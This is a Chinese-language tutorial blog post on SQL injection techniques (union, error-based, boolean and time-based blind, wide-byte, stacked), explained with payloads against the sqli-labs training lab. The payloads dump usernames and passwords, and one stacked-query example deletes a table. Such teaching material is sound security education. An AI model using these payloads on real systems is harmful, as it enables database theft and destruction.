浅谈 SQL 注入(注入篇)
一、SQL注入简介
1.1 什么是SQL注入
在用户可控制的参数上过滤不严或没有任何限制,使得用户将传入的参数(如URL,表单,http header)与SQL语句合并构成一条
SQL语句传递给web服务器,最终传递给数据库执行增删改查等操作,并基于此获取数据库数据或提权进行破坏。
1.2 SQL注入产生的原因
SQL Injection:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患,用户可以提交一段数据库查询代码,
根据程序返回的结果,获得某些他想得知的数据或进行数据库操作
1.3 SQL注入漏洞可用来做什么
获取数据库的数据内容或者提权获取数据库权限,有可能也会使web服务器受到威胁
1.4 SQL注入分类(简述)
1.4.1根据URL中传参的参数类型分为 ①字符型 ②数字型
数字型: 例如 我们构造两个payload分别去执行 1. id = 1 and 1 = 1 //执行成功 2. id = 1 and 1 = 2 // 执行失败 此时后台的query语句大致为 select XXX from XXX where id = $id 而这个传参中的参数id没有被单引号包裹,且一般id的值为数字 字符型: 例如 我们构造两个payload分别去执行 1. id = 1' and '1' = '1 //执行成功 2. id = 1' and '1' = '2 //执行失败 第一个 ' 用来闭合后台查询语句中参数$'id' 左面的引号 第二个 ' 用来闭合 右面的引号 此时后台query语句大致为 select XXX from XXX where id = $'id'
1.4.2.根据传参的方式分为: ①GET型
②POST型
③Cookie型
④其他http header中可利用的参数
二、SQL注入中常用的内置函数
@@hostname //主机名称
@@datadir //返回数据库的存储目录
@@version_compile_os //查看服务器的操作系统
database() // 查看当前连接的数据库名称
user() // 查看当前连接的数据库用户
version() //查看数据库版本
current_user() // 当前登录的用户和登录的主机名
system_user() // 数据库系统用户账户名称和登录的主机名
session_user() //当前会话的用户名和登录的主机名
三、常见的几种SQL注入&&information_schema (MySQL+PHP)
3.0 MySQL数据库基础-information_schema数据库结构
在MySQL数据库中内置了一个系统数据库information_schema,结构和MSSQL中的master类似,
记录了所有存在的数据库名、数据库表、表的各个字段。关键的三个表为:
schemata:存储数据库名的表
tables:存储数据库以及数据库中的表名
columns:存储数据库、表、以及表中的字段
3.0.1 SCHEMATA 存储数据库名的表
字段 schemata_name中存储了所有数据库表的名字
执行:select schema_name from information_schema.schemata;
3.0.2 TABLES 存储所有表名字的表
字段 table_schema :值为数据库的名字,表示该表属于哪个数据库
字段 table_name:值为数据库中所存在的表的名字,一般作为查询的参数
执行 select table_name from information_schema.tables where table_schema='security';
查询security数据库中所有的表名
3.0.3 COLUMNS
字段 table_schema : 值为数据库的名字,表示该字段属于哪个数据库
字段 table_name:值为表的名字,表示该字段属于哪个表
字段 column_name:值为字段的名字,一般作为查询参数
执行:select column_name from information_schema.columns where table_name='users' and table_schema='security';
3.0.4 小结&&常用套路
select * from information_schema.schemata; //爆出数据库(也可用schema_name替换*) select table_name from information_schema.tables where table_schema=’dvwa’;//爆出指定数据库dvwa的所有表名 select column_name from information_schama.columns where table_name=’users’ and table_schema=’security’;// 爆出security数据库的表users的所有字段名 select (user,password) from security.users; //爆出security数据库中用户和密码
3.1 基于回显的union select联合查询注入(MySQL+PHP)
3.1.0 联合查询也是基于上面提到的information_schema数据库(仅限于MySQL数据库)来爆表爆列爆字段
其实不光是联合查询,所有的基于MySQL数据库的SQL注入都是基于这个库。
原理:因为后台查询语句基本为 select XXX from 表 where id = $id 类似于这个样子,
而union可以合并select从而实现查询多个结果。
3.1.1 联合注入流程
1.判断注入点(URL、表单、cookie、ua等)
2.判断是整型还是字符型
3.判断查询列数(order by)
4.判断字段显示位 (?id=0 union select 1,2,3,4,5 # )
5.获取所有数据库名
6.获取数据库所有表名
7.获取字段名
8.获取数据
3.1.2 注入实例
这里博主就用sqli-labs 的Less 1 来举例了
0x01:首先通过?id=1(正常回显) 和 ?id=1'(报错)确定是字符型注入,参数被 ' 包裹
0x02:用order by确定字段数, 一般执行 :
?id=1' and 1=1 order by n --+ //当页面报错 Unkwon columns时 即可确定字段数为n-1
ps:这里要用order by是因为我们后面要用union select,而官方文档中 union使用时必须
确保union 后面select的字段要和前面的字段的数量一致,所以必须要先确定字段数。
0x03:判断字段回显位置 payload:
?id=0' union select 1,2,3 --+ //判断出有几个字段之后这里判断字段的回显位置,Less-1里只有2,3位回显
ps:这里id值为0其实是想找一个不存在的值使第一个select查询不到结果(在后台的sql语句为:
$sql="SELECT * FROM users WHERE id='0' union select 1,2,3 --+' LIMIT 0,1";),这样才
会使后面union select的语句执行结果回显到页面,但是在命令行中即使是用存在的id值也可
返回这两句select的结果。当然不一定用0 什么9999或者 and 1=2都可,只要让第一个select逻辑出错即可。
0x04:判断出2,3位可回显查询结果之后就类似于套模板了
?id=0' union select 1,2,database() --+ //获取当前数据库 ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ //获取当前数据库的所有表 ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ //获取当前数据库的users表中的所有字段名称 ?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from users --+ //获取users表中username和password字段的所有值并将两个字段的值中间用 - 分隔开后打印在一行中回显
ps:关于concat() ,concat_ws(),group_concat()
concat():用于无分隔符的串联查询多个字段的结果
concat_ws():用于有分隔符的串联查询多个字段的结果
group_concat():用于将多行结果合并到一行显示
3.2 报错注入
3.2.0 报错注入
报错注入也是基于有回显错误信息的一种,只不过构造的payload一般是基于特定函数,根据函数的规则使其报错
并利用这个报错的回显特点,让报错的内容为我们想要获取的数据库内容。报错注入的函数有很多,下面只详细
解读3个最常用的。
3.2.1 报错注入——floor(rand(0)*2)
下面是一个基于floor()函数的报错注入例子
select count(*),(concat(floor(rand(0)*2),(select database())))x from user group by x;
0x01: count(*)函数:返回表中的记录数
0x02: rand()和rand(0) 函数
rand()函数可以生成一个0-1之间的随机数,每次生成的数都是随机的,而rand(0)因为有了0这个随机数种子
使得它每次生成的随机数都是一样的,也就是所谓的伪随机。(可以结合我下面的例图理解)
两次使用rand()生成的值:可以看到左图和右图的值是不一样的
两次使用rand(0)生成的值: 可以看到左图和右图生成的数是一样的
0x03 floor函数
floor函数的作用是返回小于等于该值的最大整数,也就是所谓的向下取整,只保留整数部分。
0x04 group by 关键字
group by 就是对数据进行分组,相同的分为一组
结合我们之前的payload中有这么一段 :floor(rand(0)*2)
rand(0)因为可以固定的产生一个随机数,但是随机数是0-1之间的,如果用floor进行向下取整的话每一次都是0,那么就
达不到我们的目的了,所以需要*2。
报错的原理:
这里我就简述一下,大家如果看不太懂可以看我分享的链接,这位朋友讲的很清楚,我下面也会附一个例子大家结合起来看。
在执行 select count(*),(concat(floor(rand(0)*2),(select database())))x from users group by x; 时数据库会建立一个虚拟表(空)
,进行查询和插入的操作,当它在执行 floor(rand(0)*2) 时比如生成的随机数为1,但是发现虚拟表中并无1这个key,所以第二次
执行 floor(rand(0)*2) 并将生成的随机数1(或0)插入,第三次执行 floor(rand(0)*2) 到结果为1时发现有1这个key,执行count(*)+1
之后继续查询第四次执行 floor(rand(0)*2) 此时生成的随机数为0 ,发现无这个key,又要进行插入操作,之后第五次执行floor(rand(0)*2)
准备插入0这个key的记录,结果生成的是1但是前面已经有key为1的记录了,所以就会报错。
举例:sqli-labs Less-5 payload:
?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select database())))x from users group by x --+ //获取当前连接的数据库 ?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))x from users group by x --+ //获取第一个表 ?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))x from users group by x --+ //获取第一个列 ?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select password from users limit 0,1)))x from users group by x --+//获取字段内容
3.2.2报错注入——updatexml()
0x01 updatexml(XML_document, XPath_string, new_value)
updatexml这个函数作用在于查找(XML_document文档中符合条件XPath_string的值并用new_value代替
由于updatexml的第二个参数需要Xpath格式的字符串,而我们输入的是普通字符串且以~开头的内容不是
xml格式的语法,concat()函数为字符串连接函数也不符合规则,但是会将括号内的执行结果以错误的形式
报出,这样就可以实现报错注入了。
此函数第二个参数XPath_string参数可为sql语句,可自行构造sql语句进行注入。
0x02 还是基于sqli-labs Less-5的payload
?id=1' and updatexml(1,concat('~',(select database()),'~'),3) --+ //获取当前连接的数据库 ?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) --+ //获取表 ?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'),3) --+// 获取字段 ?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1),0x7e),3) --+ //获取第一组字段内容
3.2.3 报错注入——extractvalue()
上面的updatexml是修改的函数,而这个函数是查询的函数。
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
注入原理:这个和updatexml原理是一样的,都是因为在XPath_string格式哪里,我们输入的是普通的
string所以会出现报错 。此函数第二个参数XPath_string处可为sql语句,可自行构造sql语句
进行注入。
下面还是以sqli-labs Less-5 举例 并附上payload,大家可以自己去体会一下。
?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+ //获取当前连接的数据库 ?id=1' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+ //获取表 ?id=1' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) --+ // 获取字段 ?id=1' and extractvalue(null,concat(0x7e,(select group_concat(concat_ws('-',username,password)) from users),0x7e)) --+ //获取字段内容(这里有字符数量限制只能列出几组数据,可以参考上面updatexml中的payload按位检索数据等操作)
3.3 布尔盲注
3.1.0 布尔盲注原理
盲注的意思其实就是页面没有回显信息,比如我们找到了注入点却发现页面不会返回sql语句执行的结果,
因此不能再用union select的那种正常可以返回查询结果的SQL注入,而布尔盲注则需要构造逻辑判断
并根据页面的状态(true or false)判断我们此次的payload是否执行成功或错误,之后根据内容猜解数据库信息。
布尔盲注一般需要构造逻辑判断,而大部分的逻辑判断都是去判断字符串的某一个字符对照ascii表的数值
并根据true or false 和ascii表 猜解出我们取出来做逻辑判断的字符具体是哪一个字母或者其他字符等。
比如下面这个例子
//还是Less 5的payload ?id=1' and ascii(substr((select database()),1,1))>110 --+ //判断select database()语句返回的结果的字符串的第1个字符 是否大于ascii中110对应的字符 是的话页面会有you are in.........的提示 不是的话无显示
3.1.1 布尔盲注中常用的函数
常用的截断函数:substr(str, pos, len) | mid(str, pos, len) | Left ( string, n )
0x01:substr(str, pos, len)
从start位开始截取string字符串的length长度。string参数处可以为SQL语句,注意如果没有设置length的值
会返回从pos位置开始剩下所有的字符
例子:substr(database(),1,1)>'a' //判断database()反回的数据库名字的第1个字符是否在ascii表中大于小写字母a
substr(database(),2,1)>'a' //判断database()反回的数据库名字的第2个字符是否在ascii表中大于小写字母a
0x02:mid(str, pos, len)
用法参照上面的substr() ,是一样的。
0x03:left(string,n)
作用:返回string字符串从左往右的前n个字符
例子:left(database(),1)>'a' //判断database()返回的数据库名字的从左数第1个字符是否在ascii表中大于小写字母a
left(database(),2)>'aa' //判断database()返回的数据库名字的从左数前2个字符是否在ascii表中大于字符串aa
其他函数:ascii() length()
0x01:ascii()函数
作用:可以将括号内的字符串转换为ascii表中对应的十进制的ascii值。
常常ascii函数会和截断函数一起使用构造逻辑判断,并根据枚举法和二分法快速猜解数据库内容和信息等。
0x02:length()函数
作用:返回字符串长度
例子:length(database()) //返回当前连接的数据库名称长度
0x03 limit 关键字
格式: limit i,j
0x01 i:查询结果的索引值,默认从0开始,如果为0则可省略i
0x02 j : 查询结果返回的数量
例子:select username from users limit 10 ; 查询users表中前10个username(索引是0-9,查询的就是第1-10个记录)
select username from users limit 1,2 ; 查询users表中2个记录,索引为1-2 也就是第2和第3个记录
下面还是拿 Less 5举例
布尔盲注 ?id=1' and length(database())>1 --+ ?id=1' and length(database())<10 --+ ?id=1' and length(database())=8 --+ //猜解当前连接数据库名称长度 ?id=1' and ascii(substr((select database()),1,1))>100 --+ ?id=1' and substr((select database()),1,1)>'a' --+ ?id=1' and ascii(substr((select database()),1,1))=115 --+ // 猜解当前连接数据库名称第1个字符为s ,后续猜解同理 。mid函数和此原理一样 ?id=1' and left((select database()),2)='se'%20 --+ ?id=1' and left((select database()),8)='security'%20 --+ //当 ' 没被过滤时可以用left 逐位猜解 ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'%20 --+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),6)='emails'%20 --+ ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ //后面payload自行构造 和此同理 获取security数据库中的第一个表的第一个字符 e ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 --+ //获取users中第一个字段的第一个字符 i ?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+ //获取第一个username的第一个字符 D
3.4 延时注入
3.4.0 基于时间型的SQL盲注
当一个web程序经过我们的布尔盲注时发现它并不存在true和false两种不同的页面,这时
布尔盲注就不能起到效果了,此时就要采用基于时间型的盲注。
3.4.1 延时注入常用的函数
0x01 :if(a,b,c)函数
作用:如果a执行结果为真执行b,否则执行c
0x02:sleep(seconds)函数
作用:延迟若干秒
条件:SQL语句的执行结果存在数据记录才会延迟指定的秒数,如果SQL语句查询结果为空
则不会延迟且执行后返回结果为0.
例子:分别执行下面两条语句
select username from users where id=1 and if(ascii(mid(database(),1,1))>1,sleep(5),1) ; select username from users where id=1 and if(ascii(mid(database(),1,1))>1000,sleep(5),1) ;
可以看到第一句因为条件 ascii(mid(database(),1,1))>1 成立,所以延迟5s,
第二句不成立则并没有进行延迟,所以可以根据页面的响应时间判断我们的
逻辑条件语句是否正确进而猜测数据库的内容信息。
3.5 宽字节注入
3.5.0 宽字节注入前瞻——编码
编码:对字符赋予一个数值来确定这个字符在字符集的位置。(可以看ascii码表结合理解)
常见的字符集:①ascii字符集(包含全部英文字母和标点符号)
②GB2312字符集(中文字符集)
③Unicode字符集(通用多八位编码字符集)
常见编码:①Ascii ②GB2312 ③GBK ④utf-8 ⑤unicode
GBK:文字编码均用2个字节表示(无论中英文,中文最高位为1)
utf-8:英文编码用8位(1个字节),中文编码用24位(3个字节)
3.5.1 宽字节注入
宽字节注入主要应用于输入的特定字符:比如 ' 被添加了 / 变为 /' 被转义了。比如addslashes()函数
此函数就可在预定义的字符前添加 / 。 所以为了想办法让我们payload中的 ' 不被转义,需要绕过/
0x01 原理:MySQL在使用GBK编码时会认为2个字符为1个汉字(前1个字符的ascii码需要大于128)
比如%df%5c就是1个汉字。
0x02 常用思路:
1.吃掉/ :当我们输入的%27被转义为%5c%27时可以在%5c前加上%df,构造成%df%5c%27,
而MySQL会认为%df%5c为1个汉字从而吃掉了转义单引号的反斜杠使得 ' 逃逸出来。
2.转义/ :利用%e5%5c%27。当输入%e5%5c%27会变为%e5%5c%5c%5c%27 此时%e5%5c
构成1个汉字,%5c%5c即//,前一个/转义了后一个/从而使最后的 ' 逃逸出来
?id=0%df' union select 1,2,database() --+ //Less 32的payload
3.6 堆叠注入
3.6.0 原理介绍 :
简单来说,堆叠注入就是将2条sql语句并入一条语句中执行,两条语句中间用;隔开
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
3.6.1 堆叠注入实例(MySQL+php)
以 sqli-labs Less-38为例
payload: ?id=1' ; insert into users(id,username,password)values('100','lqs','lqs')--+